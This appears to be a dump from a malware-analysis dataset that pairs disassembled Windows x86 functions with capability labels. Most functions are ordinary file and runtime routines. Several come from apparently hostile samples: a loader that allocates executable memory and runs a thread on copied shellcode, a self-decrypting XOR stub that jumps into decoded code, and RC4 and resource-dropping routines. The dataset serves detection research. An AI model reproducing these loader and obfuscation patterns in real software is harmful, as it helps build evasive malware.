joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4107d3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410644

Function at 0x410bcd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00405210
mov eax, dword [0x473500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0040f839
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x410c0f
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x410d6b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041ac50
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x474e30]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00411bc4
mov ecx, dword [esi*4 + 0x474e30]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x410d64
cmp eax, dword [edi + ecx + 0x24]
jne 0x410d64
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x410d64
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00411bc4
add esp, 0x14
test edx, edx
jl 0x410d64
jg 0x410cda
test eax, eax
jb 0x410d64
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x410d64
jl 0x410cf4
cmp dword [ebp - 0x1008], eax
ja 0x410d64
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x410d12
test ebx, ebx
je 0x410d4b
cmp ecx, edi
jae 0x410d4b
mov al, byte [ecx]
cmp al, 0xd
jne 0x410d2c
lea eax, [edi - 1]
cmp ecx, eax
jae 0x410d38
cmp byte [ecx + 1], 0xa
jne 0x410d38
inc ecx
jmp 0x410d38
movzx eax, al
movsx eax, byte [eax + 0x4737b8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x410d12
cmp edx, ebx
jne 0x410d12
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x410d69
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404713
leave
ret
Function at 0x411062
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x474e30]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4110a2
cmp byte [ebx], 0xa
jne 0x4110a2
or byte [eax + edi + 0x28], 4
jmp 0x4110a7
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4111a5
mov al, byte [edx]
cmp al, 0x1a
je 0x411187
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4110d6
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4110fb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x411105
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4110b8
jmp 0x4111a5
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411182
cmp dword [ebp - 0xc], 0
je 0x411182
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x474e30]
test byte [eax + edi + 0x28], 0x48
je 0x41115c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x411147
mov byte [esi], dl
jmp 0x411158
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x474e30]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4111a5
cmp byte [ebp - 1], 0xa
jne 0x41116b
cmp esi, ebx
jne 0x41116b
mov byte [esi], 0xa
jmp 0x4111a4
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00411be2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4111a5
mov byte [esi], 0xd
jmp 0x4111a4
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x474e30]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4111a1
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4111a5
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4111ae
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x474e30]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4111f1
cmp word [esi], dx
jne 0x4111f1
or byte [edi + eax + 0x28], 4
jmp 0x4111f6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x411349
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x411329
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x411238
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41126e
cmp eax, edx
jae 0x41127a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x411210
jmp 0x411349
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411325
cmp dword [ebp - 0x14], 0
je 0x411325
mov eax, dword [ebx*4 + 0x474e30]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4112fd
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4112c6
mov word [esi], cx
jmp 0x4112f9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x474e30]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x474e30]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x474e30]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x411349
pop ebx
cmp word [ebp - 4], bx
jne 0x41130e
cmp esi, dword [ebp + 0xc]
jne 0x41130e
mov word [esi], bx
jmp 0x411346
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00411be2
add esp, 0x10
cmp word [ebp - 4], bx
je 0x411349
push 0xd
jmp 0x411342
mov ecx, dword [ebx*4 + 0x474e30]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411340
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411349
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x414fa6
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x415043
push ebx
push esi
call fcn.00414f6f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00413bf4
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x414ff0
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415042
push edi
push eax
call fcn.00411dc1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x415010
call fcn.0040ed98
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415041
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00413bf4
add esp, 0x20
test eax, eax
jne 0x41502f
push edi
call fcn.0040ed98
jmp 0x415037
push ebx
call fcn.0040ed98
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41ac10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41ac3d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41ac3d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x41c000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x210
mov eax, dword [0x473500]
xor eax, esp
mov dword [esp + 0x20c], eax
mov eax, dword [esp + 0x214]
push ebx
push ebp
push esi
mov dword [esp + 0x14], eax
lea eax, [esp + 0xc]
push edi
xor edi, edi
push eax
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], edi
call fcn.004012c7
mov esi, dword [esp + 0x230]
mov ebp, 0x100
pop ecx
mov dword [esp + 0x10], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x1c], cl
cdq
idiv dword [esp + 0x230]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x11c], al
inc ecx
cmp ecx, ebp
jl 0x41c04a
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x1c]
movzx eax, byte [esp + esi + 0x11c]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x41c08e
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x1c]
mov byte [esp + esi + 0x1c], al
inc esi
mov byte [esp + ebx + 0x1c], dl
cmp esi, ebp
jl 0x41c06b
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x228], ebx
jle 0x41c112
inc edi
and edi, 0x800000ff
jns 0x41c0bd
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x1c]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x41c0d6
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x1c]
push str.Always_matter
mov byte [esp + edi + 0x20], al
push 0x474398
mov byte [esp + ebx + 0x24], cl
call fcn.004010d0
movzx eax, byte [esp + edi + 0x24]
add eax, esi
pop ecx
pop ecx
mov ecx, dword [esp + 0x18]
movzx eax, al
mov al, byte [esp + eax + 0x1c]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x228]
jl 0x41c0ac
lea eax, [esp + 0x10]
push eax
mov ecx, eax
call fcn.004014c8
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404713
add esp, 0x210
ret

Function at 0x41c1f7
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x40
push 0x1000
mov ebx, 0x4ac
xor ebp, ebp
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov edi, 0x473038
mov esi, eax
push edi
call fcn.0041c151
push ebx
push edi
push esi
call fcn.00405240
add esp, 0x14
call fcn.0041c137
push ebp
push ebp
push 0x427038
lea eax, [esi + 0x188]
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebp
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10002580
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x100025d8
cmp byte [esi + ebx - 1], 0xa
je 0x100025ac
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x10004118], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401059
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401070
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x4010a5
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x4010a1
cmp edi, eax
jae 0x4010a5
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x401093
cmp edi, eax
jb 0x4010a9
xor eax, eax
jmp 0x4010b2
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x4011b9
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x4109f8]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push 0x11c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00408840
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x401200
xor al, al
jmp 0x401220
cmp dword [ebp - 0x7c], 5
jb 0x4011fc
jbe 0x40120c
mov al, 1
jmp 0x401220
xor eax, eax
inc eax
cmp dword [ebp - 0x78], eax
jae 0x401220
cmp word [ebp + 0x94], 4
sbb al, al
inc al
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.004085ae
add ebp, 0xa0
leave
ret

Function at 0x4016f6
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, eax
push edi
lea ebx, [esi + 0x20]
mov eax, ebx
lea edi, [ebp - 0xc]
call fcn.00402010
push dword [eax + 4]
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, edi
call fcn.0040202e
mov eax, dword [ebx]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x40173f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401773
add esi, 0x1c
mov eax, esi
lea edi, [ebp - 0xc]
call fcn.00402010
mov eax, dword [eax + 4]
mov ebx, dword [ebx]
push eax
push 0
push 0x40ebec
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov ebx, eax
neg ebx
sbb bl, bl
mov ecx, edi
inc bl
call fcn.0040202e
test bl, bl
je 0x401778
or eax, 0xffffffff
jmp 0x40178c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401791
Capabilities:
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x4109f8]
xor eax, ebp
mov dword [ebp - 4], eax
or dword [ebp - 0x214], 0xffffffff
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor edi, edi
lea eax, [ebp - 0x20e]
push edi
push eax
mov esi, ecx
call fcn.00408840
mov eax, dword [esi + 0x20]
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push edi
push 0x40ebf4
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x4018ce
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x21c]
call fcn.00401e56
add esi, 0x10
lea ebx, [ebp - 0x21c]
call fcn.00401f65
mov eax, dword [ebp - 0x21c]
add eax, 0xfffffff0
call fcn.004010b5
push 0x40eb70
push 0x66
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, edi
je 0x4018ce
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
je 0x4018ce
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
cmp ebx, edi
je 0x4018ce
push edi
push edi
push 4
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x214], eax
cmp eax, 0xffffffff
je 0x4018ce
push dword [ebp - 0x214]
xor eax, eax
lea edi, [ebp - 0x220]
push esi
stosd dword es:[edi], eax
xor esi, esi
push esi
stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov ecx, ebx
call fcn.00401b3c
pop ecx
pop ecx
test eax, eax
jne 0x4018bb
push esi
push esi
push dword [ebp - 0x21c]
push dword [ebp - 0x220]
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x4018ce
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 0x214], 0xffffffff
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x214]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085ae
leave
ret
Function at 0x4028a8
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4022c
call fcn.0040ba40
mov eax, dword [0x4109f8]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x40220], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x40224]
push eax
mov esi, 0x200
push esi
lea eax, [ebp - 0x4020c]
push eax
push dword [edi]
mov byte [ebp - 0x4020d], 1
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4029af
cmp dword [ebp - 0x40224], esi
jne 0x4029af
push 4
lea eax, [ebp - 0x4010b]
push 0x40eb94
push eax
call fcn.004099a8
add esp, 0xc
test eax, eax
jne 0x40292e
mov eax, dword [ebp - 0x40220]
mov byte [eax], 1
mov al, 1
jmp 0x4029b1
push 5
lea eax, [ebp - 0x4010b]
push 0x40eb8c
push eax
call fcn.004099a8
add esp, 0xc
test eax, eax
jne 0x4029af
mov eax, dword [edi + 4]
sub eax, 0x10
call fcn.004022f9
add eax, 0x10
mov dword [ebp - 0x40214], eax
push 0x40ec14
lea eax, [ebp - 0x40214]
push eax
call fcn.00402ae8
lea eax, [ebp - 0x4020c]
push eax
lea eax, [ebp - 0x40214]
push eax
call fcn.00402ae8
mov esi, dword [ebp - 0x40214]
push ebx
push 0x100
push 2
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x40220], eax
cmp eax, 0xffffffff
jne 0x4029c1
lea eax, [esi - 0x10]
call fcn.004010b5
xor al, al
mov ecx, dword [ebp - 8]
pop esi
xor ecx, ebp
pop ebx
call fcn.004085ae
leave
ret 4
push 8
lea eax, [ebp - 0x40190]
push ebx
push eax
call fcn.0040bc9a
add esp, 0xc
push 1
push ebx
push ebx
push dword [edi]
mov esi, eax
mov dword [ebp - 0x40218], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add eax, dword [ebp - 0x40218]
neg esi
and esi, 0x1ff
add esi, eax
mov dword [ebp - 0x40228], esi
cmp dword [ebp - 0x40218], ebx
jbe 0x402a7c
mov ecx, dword [ebp - 0x40218]
mov eax, 0x40000
mov dword [ebp - 0x4021c], eax
cmp ecx, eax
jae 0x402a20
mov dword [ebp - 0x4021c], ecx
push ebx
lea eax, [ebp - 0x40224]
push eax
push dword [ebp - 0x4021c]
lea eax, [ebp - 0x4000c]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402a76
push ebx
lea eax, [ebp - 0x40224]
push eax
push dword [ebp - 0x4021c]
lea eax, [ebp - 0x4000c]
push eax
push dword [ebp - 0x40220]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402a76
mov eax, dword [ebp - 0x4021c]
sub dword [ebp - 0x40218], eax
jne 0x402a05
jmp 0x402a7c
mov byte [ebp - 0x4020d], bl
push dword [ebp - 0x40220]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x4020d], bl
je 0x402abf
cmp byte [edi + 8], bl
je 0x402aab
lea esi, [edi + 0xc]
lea ebx, [ebp - 0x40214]
call fcn.00401f65
mov esi, dword [ebp - 0x40228]
xor ebx, ebx
mov eax, dword [edi + 0x18]
cmp eax, ebx
je 0x402abf
push dword [ebp - 0x40214]
push dword [edi + 0x1c]
call eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x402acf
push ebx
push ebx
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x40214]
add eax, 0xfffffff0
call fcn.004010b5
mov al, byte [ebp - 0x4020d]
jmp 0x4029b1
Function at 0x406743
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405632
and dword [ebp - 4], 0
cmp dword [0x4112c0], 0
mov ebx, eax
jne 0x4067f4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4068a5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4068a5
push eax
call fcn.004055c0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4112c0], eax
call esi
push eax
call fcn.004055c0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4112c4], eax
call esi
push eax
call fcn.004055c0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4112c8], eax
call esi
push eax
call fcn.004055c0
pop ecx
mov dword [0x4112d0], eax
test eax, eax
je 0x4067f4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004055c0
pop ecx
mov dword [0x4112cc], eax
mov eax, dword [0x4112cc]
cmp eax, ebx
je 0x40684c
cmp dword [0x4112d0], ebx
je 0x40684c
push eax
call fcn.0040563b
push dword [0x4112d0]
mov esi, eax
call fcn.0040563b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40684c
test edi, edi
je 0x40684c
call esi
test eax, eax
je 0x406843
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406843
test byte [ebp - 0xc], 1
jne 0x40684c
or dword [ebp + 0x10], 0x200000
jmp 0x406885
mov eax, dword [0x4112c4]
cmp eax, ebx
je 0x406885
push eax
call fcn.0040563b
pop ecx
test eax, eax
je 0x406885
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406885
mov eax, dword [0x4112c8]
cmp eax, ebx
je 0x406885
push eax
call fcn.0040563b
pop ecx
test eax, eax
je 0x406885
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4112c0]
call fcn.0040563b
pop ecx
test eax, eax
je 0x4068a5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4068a7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4085ae
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4109f8]
jne 0x4085b8
repz ret
jmp fcn.0040b3d5

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx